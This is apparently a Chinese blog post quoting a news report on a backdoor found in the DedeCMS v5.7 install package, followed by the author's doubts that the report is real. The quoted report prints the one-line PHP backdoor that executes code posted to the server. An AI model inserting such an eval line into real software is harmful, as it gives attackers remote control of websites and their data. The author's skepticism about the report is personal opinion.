天天看點

防毒軟體大佬們背後的織夢CMS系統隐患

織夢CMS(DEDECMS)的強大是所有站長人都知道的,也正是TA是國内第一個效仿國外的開源CMS,是以在國内的開源程式變得越來越多,程式的BUG變得越來越少,安全性變得越來越強大,功能性越來越強大。當然更多的效仿程式也越來越多,通過攻擊的也變得越來越多。織夢CMS有後門已經不是一件稀奇的事,用的人多了,安全性也就差了,就如WINDOWS一樣,更新檔不斷,有更新檔說明性能在不斷提升。

         最近網易科技有這樣一份新聞:

          “瑞星與360今日對外釋出警示,稱國内知名的PHP開源網站管理系統織夢CMS(DedeCms)v5.7 sp1版本安裝包被發現植入後門,黑客可通過此後門直接獲得網站的控制權限,擷取存儲在伺服器上的檔案和資料庫。

              據織夢CMS官方資料顯示,目前約有70萬網站使用該系統搭建,涉及企業、政府機關、媒體機構、行業及個人網站等。

               安全界人士分析發現,此次織夢CMS曝出的後門惡意代碼存在于購物車類檔案(shopcar.class.php)中,此類檔案被植入一句後門代碼“@eval(file_get_contents(‘php://input’));”。凡是調用該購物車類的檔案均會觸發後門,黑客隻需要構造簡單的資料包送出到伺服器,就能夠擷取到該網站的WebShell,通過對伺服器進一步滲透攻擊,進而擷取伺服器的最高權限,直接通路伺服器上的檔案、資料庫等資訊。(易科)

防毒軟體大佬們背後的織夢CMS系統隐患

織夢CMS中被植入的後門代碼”

      不排除此新聞的真實性,但是不是安全軟體方的又一份炒作或者想在媒體露下臉,代表他們在安全軟體行業他們是存在的,代表他們的技術還是”權威”的,代表他們檢測機構的效率呢。在此并不是去評論啥,但總想說兩點。

    其一,織夢CMS,版本資訊:V5.7正式版( 2011-12-27),從釋出到現在已經三個多月過去了,難道是最近DEDECMS加進去的後門代碼?!

   其二,别說“@eval(file_get_contents(‘php://input’));”這樣一條語句啦,連input這檔案裡都沒有,不知道他們是怎麼檢測出來的

繼續閱讀